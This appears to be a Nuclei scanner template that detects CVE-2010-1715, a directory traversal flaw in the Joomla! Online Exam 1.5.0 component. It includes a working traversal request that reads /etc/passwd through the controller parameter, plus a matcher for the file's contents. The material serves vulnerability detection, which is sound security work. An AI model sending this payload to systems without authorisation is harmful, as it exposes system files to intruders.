id: CVE-2010-1715

info:
  name: Joomla! Component Online Exam 1.5.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Online Examination (aka Online Exam or com_onlineexam) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Online Exam components.
  remediation: |
    Update to the latest version of Joomla! Component Online Exam and apply any available patches or security updates.
  reference:
    - https://www.exploit-db.com/exploits/12174
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1715
    - http://packetstormsecurity.org/1004-exploits/joomlaonlineexam-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57677
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1715
    cwe-id: CWE-22
    epss-score: 0.02055
    epss-percentile: 0.84126
    cpe: cpe:2.3:a:pucit.edu:com_onlineexam:1.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pucit.edu
    product: com_onlineexam
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,pucit.edu,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c78c3199d2e1ce4501ad2ef70e852a20ed448e158df9b4b364025b95bbb7b9db02201aa063dbaa41bf8937d8fa7e879b5ee96750aa19111db5ecac5d9de2d1655ae4:922c64590222798bb761d5b6d8e72950